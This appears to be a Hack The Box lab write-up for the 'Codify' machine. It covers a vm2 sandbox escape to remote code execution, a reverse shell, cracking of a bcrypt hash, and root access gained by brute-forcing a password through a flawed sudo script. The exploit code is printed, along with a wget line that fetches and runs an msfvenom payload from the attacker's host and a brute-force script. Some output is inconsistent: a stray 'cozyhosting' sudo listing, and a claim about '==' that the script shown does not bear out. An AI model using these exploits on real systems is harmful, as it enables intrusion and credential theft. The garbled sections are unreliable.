



# Codify



OS	RELEASE DATE	DIFFICULTY	POINTS
Linux	04 Nov 2023	Easy	20

Codify was an easy Linux machine that starts off with 2 open http ports. The websites are hosting a browser based JavaScript sandbox using a vulnerable vm2 library. Once exploited the attacker was able to priv esc from a svc account, to a user account through an exposed hash. a vulnerable sudo priveledge led to brute forcing the root credentials.

I started with my initial nmap scan.

```

(root@kali)-[~/codify]
# nmap 10.129.41.164 --min-rate 10000 -p- -sC -sV -oA nmap-out
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-18 13:15 EST
Nmap scan report for 10.129.41.164
Host is up (0.019s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp    open  http      Apache httpd 2.4.52
|_ http-server-header: Apache/2.4.52 (Ubuntu)
|_ http-title: Did not follow redirect to http://codify.htb/
3000/tcp  open  http      Node.js Express framework
|_ http-title: Codify
Service Info: Host: codify.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.70 seconds

```

The nmap scan uncovered 3 open ports. 22 ssh, 80 http, and 3000, another http hosting the same site. Ill go ahead and start looking over port 80, first Ill add it to my /etc/hosts file.

```

127.0.0.1      localhost
127.0.1.1      kali
::1           localhost ip6-localhost ip6-loopback
ff02::1       ip6-allnodes
ff02::2       ip6-allrouters

10.129.41.164 codify.htb

```

I couldn't get port 80 to connect so I went to port 3000 in my browser. Navigating to the site presented me with an explanation of the site.

# Codify

Test your Node.js code easily.

This website allows you to test your Node.js code in a sandbox environment. Enter your code in the editor and see the output in real-time.

Try it now

Codify is a simple web application that allows you to test your Node.js code easily. With Codify, you can write and run your code snippets in the browser without the need for any setup or installation.

Whether you're a developer, a student, or just someone who wants to experiment with Node.js, Codify makes it easy for you to write and test your code without any hassle.

Codify uses sandboxing technology to run your code. This means that your code is executed in a safe and secure environment, without any access to the underlying system. Therefore this has some [limitations](#). We try our best to reduce these so that we can give you a better experience.

So why wait? Start using Codify today and start writing and testing your Node.js code with ease!

This site provides an ability to test Node.js in a sandbox environment, Allowing users to run code on a front-end device can be extremely dangerous without the correct safe guards. I'm guessing this will be my vector. Ill go ahead and check the 'About us'.

## About Us

At Codify, our mission is to make it easy for developers to test their Node.js code. We understand that testing your code can be time-consuming and difficult, which is why we built this platform to simplify the process.

Our team is made up of experienced developers who are passionate about creating tools that make development easier. We're committed to providing a reliable and secure platform that you can trust to test your code.

Thank you for using Codify, and we hope that our platform helps you develop better Node.js applications.

## About Our Code Editor

Our code editor is a powerful tool that allows developers to write and test Node.js code in a user-friendly environment. You can write and run your JavaScript code directly in the browser, making it easy to experiment and debug your applications.

The [vm2](#) library is a widely used and trusted tool for sandboxing JavaScript. It adds an extra layer of security to prevent potentially harmful code from causing harm to your system. We take the security and reliability of our platform seriously, and we use vm2 to ensure a safe testing environment for your code.

I found that the website is using vm2 3.9.16 for JavaScript sandboxing, unfortunately for them it's associated with CVE-2023-29199, a POC can be found in [this article](#).

According to the POC if we paste the following code into the editor, we can achieve RCE.

```
const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
  getPrototypeOf(target) {
    (function stack() {
      new Error().stack;
      stack();
    })();
  }
};

const proxiedErr = new Proxy(err, handler);
try {
  throw proxiedErr;
} catch ({constructor: c}) {
  c.constructor('return process')
    (.mainModule.require('child_process').execSync('id'));
}

console.log(vm.run(code));
```

Glad to see it worked properly!

## Editor

```
const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
  getPrototypeOf(target) {
    (function stack() {
      new Error().stack;
      stack();
    })();
  }
};

const proxiedErr = new Proxy(err, handler);
try {
  throw proxiedErr;
} catch ({constructor: c}) {
  c.constructor('return process')
()
mainModule.require('child_process').execSync('id');
}
`;

console.log(vm.run(code));
```

```
uid=1001(svc) gid=1001(svc) groups=1001(svc)
```

I tried a number of different reverse shell one liners and payloads and eventually settled on just running a malicious Linux executable on the backend. Ill show this process step by step.

First I'll generate the payload using msfvenom.

```
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.31 LPORT=443 -f elf -o reverse.elf
```

Then I'll start my python http server in the directory where the file sits.

```
python3 -m http.server 80
```

And set up my listener on a separate pane.

```
nc -lvnp 443
```

lastly, I'll put it all together. I want the command to download the malicious file, mark it as executable, then run it.

```
const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
  getPrototypeOf(target) {
    (function stack() {
      new Error().stack;
      stack();
    })();
  }
};
```

```

    }
};

const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')
    ().mainModule.require('child_process').execSync("wget
http://10.10.14.31/reverse.elf; chmod +x reverse.elf; ./reverse.elf");
}
\

console.log(vm.run(code));

```

The screenshot shows a web browser window with the address bar at 'codify.htb:3000/editor'. The page title is 'Codify' and it has a navigation bar with links to 'Kali Linux', 'Kali Tools', 'Kali Docs', 'Kali Forums', 'Kali NetHunter', 'Exploit-DB', 'Google Hacking DB', and 'OffSec'. The main content area is titled 'Editor' and contains a code editor with the following JavaScript code:

```

const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
  getPrototypeOf(target) {
    (function stack() {
      new Error().stack;
      stack();
    })();
  }
};

const proxiedErr = new Proxy(err, handler);
try {
  throw proxiedErr;
} catch ({constructor: c}) {
  c.constructor('return process')
  ().mainModule.require('child_process').execSync("wget
http://10.10.14.31/reverse.elf; chmod +x reverse.elf;
./reverse.elf");
}
\

console.log(vm.run(code));

```

On the right side of the browser window, there is a terminal window showing the following commands and output:

```

(root@kali) ~/codify
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.31 LPORT=443 -f elf -o reverse.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: reverse.elf

(root@kali) ~/codify
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.41.164 - - [18/Feb/2024 13:44:36] "GET /reverse.elf HTTP/1.1" 200 -

```

Below the terminal window, there is a terminal window showing the following commands and output:

```

(root@kali) ~/home/kali/Documents/Writups
# nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.31] from (UNKNOWN) [10.129.41.164] 47164
id
uid=1001(svc) gid=1001(svc) groups=1001(svc)

```

Now that I have the shell, I would like to upgrade it.

```

python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl ^Z
stty raw -echo && fg
reset
screen
export TERM=xterm
clear

```

Now I have a stable shell as svc. Unfortunately svc is not the user.flag holder. That honor belong to the user joshua.

```

svc@codify:/home/svc$ ll
total 40
drwxr-x— 4 svc    svc    4096 Feb 18 18:44 ./
drwxr-xr-x 4 joshua joshua 4096 Sep 12 17:10 ../
lrwxrwxrwx 1 svc    svc    9 Sep 14 03:28 .bash_history → /dev/null
-rw-r--r-- 1 svc    svc    220 Sep 12 17:10 .bash_logout
-rw-r--r-- 1 svc    svc    3771 Sep 12 17:10 .bashrc
drwx— 2 svc    svc    4096 Sep 12 17:13 .cache/
drwxrwxr-x 5 svc    svc    4096 Feb 18 17:55 .pm2/
-rw-r--r-- 1 svc    svc    807 Sep 12 17:10 .profile
-rw-r--r-- 1 svc    svc    39 Sep 26 10:00 .vimrc
-rwxr-xr-x 1 svc    svc    194 Feb 18 18:42 reverse.elf*
-rw-r--r-- 1 svc    svc    194 Feb 18 18:44 reverse.elf.1
svc@codify:/home/svc$

```

First I want to take a look around the /var/www directory to see if there is anything there that can help me continue my journey. And since that's mostly all the svc user can interface with.

```

svc@codify:/var/www$ ll
total 20
drwxr-xr-x 5 root root 4096 Sep 12 17:40 ./
drwxr-xr-x 13 root root 4096 Oct 31 07:57 ../
drwxr-xr-x 3 svc svc 4096 Sep 12 17:45 contact/
drwxr-xr-x 4 svc svc 4096 Sep 12 17:46 editor/
drwxr-xr-x 2 svc svc 4096 Apr 12 2023 html/
svc@codify:/var/www$

```

There lies a directory that I didn't recognize from the site. Lets check it out.

```

svc@codify:/var/www/contact$ ll
total 120
drwxr-xr-x 3 svc svc 4096 Sep 12 17:45 ./
drwxr-xr-x 5 root root 4096 Sep 12 17:40 ../
-rw-rw-r-- 1 svc svc 4377 Apr 19 2023 index.js
-rw-rw-r-- 1 svc svc 77131 Apr 19 2023 package-lock.json
-rw-rw-r-- 1 svc svc 268 Apr 19 2023 package.json
drwxrwxr-x 2 svc svc 4096 Apr 21 2023 templates/
-rw-r--r-- 1 svc svc 20480 Sep 12 17:45 tickets.db
svc@codify:/var/www/contact$

```

I'm very interested in that tickets.db file. At first I didn't really know what I wanted to do with it. So I just ran strings on it initially.

```
strings tickets.db
```

```

svc@codify:/var/www/contact$ strings tickets.db
SQLite format 3
otabletickets
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT)P
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
tableusersusers
CREATE TABLE users (
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT UNIQUE,
  password TEXT
)
indexsqlite_autoindex_users_1users
joshua$2a$12$S0n8Pf6z8f0/nVsNbAAequ/P6vLRJl7gCUEiYBU2iLHn4G/p/Zw2
joshua
users
tickets
Joe WilliamsLocal setup?I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site
, can I download this and set it up in my own computer? A feature like that would be nice.open
Tom HanksNeed networking modulesI think it would be better if you can implement a way to handle network-based stuff. Would help me
out a lot. Thanks!open
svc@codify:/var/www/contact$

```

"kali" 14:00 18-Feb-24

I noticed a hash and I noticed sqlite3. I can dump this db file using sqlite3 to read it face value since strings kind of scrambled the text.

```
sqlite3 tickets.db
.dump
```

```
svc@codify:/var/www/contact$ sqlite3 tickets.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT UNIQUE,
  password TEXT
);
INSERT INTO users VALUES(3,'joshua','$2a$12$S0n8Pf6z8f0/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2');
CREATE TABLE tickets (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, topic TEXT, description TEXT, status TEXT);
INSERT INTO tickets VALUES(1,'Tom Hanks','Need networking modules','I think it would be better if you can implement a way to handle network-based stuff. Would help me out a lot. Thanks!','open');
INSERT INTO tickets VALUES(2,'Joe Williams','Local setup?','I use this site lot of the time. Is it possible to set this up locally? Like instead of coming to this site, can I download this and set it up in my own computer? A feature like that would be nice.','open');
DELETE FROM sqlite_sequence;
INSERT INTO sqlite_sequence VALUES('users',3);
INSERT INTO sqlite_sequence VALUES('tickets',5);
COMMIT;
sqlite>
```

The files contains some feature requests from Joe Williams and Tom Hanks. But most importantly contains a hash for a password to the user joshua who has an account on this machine!

```
$2a$12$S0n8Pf6z8f0/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
```

I'll grab the hash and put it into a file for hashcat.

```
echo '$2a$12$S0n8Pf6z8f0/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2' > hash
hashcat hash
```

hashcat identifies it as a blowfish encryption so we should be able to crack it with m 3200.

```
hashcat hash -m3200 --wordlist /usr/share/wordlists/rockyou.txt
```

It cracked within minutes!

```
$2a$12$S0n8Pf6z8f0/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target.....: $2a$12$S0n8Pf6z8f0/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLH ... /p/Zw2
Time.Started.....: Sun Feb 18 14:14:30 2024 (39 secs)
Time.Estimated...: Sun Feb 18 14:15:09 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 35 H/s (3.59ms) @ Accel:6 Loops:16 Thr:1 Vec:1
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 1368/14344389 (0.01%)
Rejected.....: 0/1368 (0.00%)
Restore.Point....: 1332/14344389 (0.01%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4080-4096
Candidate.Engine.: Device Generator
Candidates.#1....: crazy1 → angel123
Hardware.Mon.#1..: Util: 83%

Started: Sun Feb 18 14:14:27 2024
Stopped: Sun Feb 18 14:15:11 2024
```

```
$2a$12$S0n8Pf6z8f0/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2:spongebob1
```

I'm going to try to ssh as joshua.



```
password: spongebob1
```

```
(root@kali)~[~/codify]
# ssh joshua@10.129.41.164
The authenticity of host '10.129.41.164 (10.129.41.164)' can't be established.
ED25519 key fingerprint is SHA256:Q8HdGZ3q/X62r8EukPF0ARSaCd+8gEhEJ10xot0sBBE.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:20: [hashed name]
  ~/.ssh/known_hosts:23: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.41.164' (ED25519) to the list of known hosts.
joshua@10.129.41.164's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

System information as of Sun Feb 18 07:17:34 PM UTC 2024

System load:            0.080078125
Usage of /:             63.6% of 6.50GB
Memory usage:          20%
Swap usage:            0%
Processes:             237
Users logged in:       0
IPv4 address for br-030a38808dbf: 172.18.0.1
IPv4 address for br-5ab86a4e40d0: 172.19.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.129.41.164
IPv6 address for eth0: dead:beef::250:56ff:feb0:7c14

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

joshua@codify:~$ █
[1] 0:ssh*
```

```
josh@cozyhosting:~$ cat user.txt
13cad9b53d[REDACTED]
josh@cozyhosting:~$
```

```
sudo -l
```

```
josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Sorry, try again.
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *
josh@cozyhosting:~$
[2] 0:ssh*
```

It appears that joshua can run a custom bash script with sudo privileges. I first looked at the script to try understand it. I also looked for any places where I could try a PATH injection. But the script was pretty sound. Except for one place...

```
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS = $USER_PASS ]]; then
    /usr/bin/echo "Password confirmed!"
else
    /usr/bin/echo "Password confirmation failed!"
    exit 1
fi
```

The author of the script used `"=="` instead of `"="` this means that Wildcards can be passed into the user input. (took me longer than I'd like to admit to figure this out). Armed with this knowledge, we can test the theory, If I pass "star" into the password field, It should force the condition to equate true.

```
Enter MySQL password for root:
Password confirmed!
mysql: [Warning] Using a password on the command line interface can be insecure.
Backing up database: mysql
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
mysqldump: Got error: 1556: You can't use locks with log tables when using LOCK TABLES
Backing up database: sys
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- Warning: column statistics not supported by the server.
All databases backed up successfully!
Changing the permissions
Done!
joshua@codify:~$
[1] 0:ssh*
```

Nice! Now everything to the left of the star will either be true or false depending on if its the correct letter of the password. And we can bruteforce that. Doing this by hand would be inhumane. This password could be 32 Characters mixed with uppers, lowers, numbers and specials.

So I slapped together a nasty bruteforce bash script within joshuas home dir.

```
vi exploit.sh
```

```
#!/bin/bash
```

```
func(){
```

```
for letter in {0..9} {a..z} {A..Z}; do
```

```
    echo $char$letter
```

```
    sudo /opt/scripts/mysql-backup.sh <<< "$char$letter*"
```

```

        if [ $? -eq 0 ]; then
            char+=$letter
        func
    fi
done
}
func
<EOF>

```

```
chmod +x exploit.sh
```

From top to bottom. 1st I create a function so I can rerun everything a letter is discovered. 2nd Loop through each possible character. 3rd run the script as sudo and pass the good character and next character to the stdin. 4th if the script doesn't fail, add that character to the var of good characters. 5th do it all again.

Lets give this script a run!

```
./exploit.sh
```

```

Password confirmation failed!
kljh12k3jhaskjh12kjh3S

Password confirmation failed!
kljh12k3jhaskjh12kjh3T

Password confirmation failed!
kljh12k3jhaskjh12kjh3U

Password confirmation failed!
kljh12k3jhaskjh12kjh3V

Password confirmation failed!
kljh12k3jhaskjh12kjh3W

Password confirmation failed!
kljh12k3jhaskjh12kjh3X

Password confirmation failed!
kljh12k3jhaskjh12kjh3Y

Password confirmation failed!
kljh12k3jhaskjh12kjh3Z

Password confirmation failed!
joshua@codify:~$ █
[1] 0:ssh*

```

And after a minute, We have the password! (minus the Z).

```
su root
```

```
password: kljh12k3jhaskjh12kjh3
```

And we have root! and can grab the root flag!

```
joshua@codify:~$ su root
Password:
root@codify:/home/joshua# cd /root
root@codify:~# ll
total 40
drwx----- 5 root root 4096 Feb 18 17:55 ./
drwxr-xr-x 18 root root 4096 Oct 31 07:57 ../
lrwxrwxrwx 1 root root   9 Sep 14 03:26 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
-rw-r--r-- 1 root root 22 May 8 2023 .creds
drwxr-xr-x 3 root root 4096 Sep 26 09:35 .local/
lrwxrwxrwx 1 root root   9 Sep 14 03:34 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r----- 1 root root 33 Feb 18 17:55 root.txt
drwxr-xr-x 4 root root 4096 Sep 12 16:56 scripts/
drwx----- 2 root root 4096 Sep 14 03:31 .ssh/
-rw-r--r-- 1 root root 39 Sep 14 03:26 .vimrc
root@codify:~# cat root.txt
6984eb233011
root@codify:~#
```

[1] 0:ssh\*

Thanks for reading! And or following along! I enjoyed this easy machine, It was very straightforward and great for OSCP practice.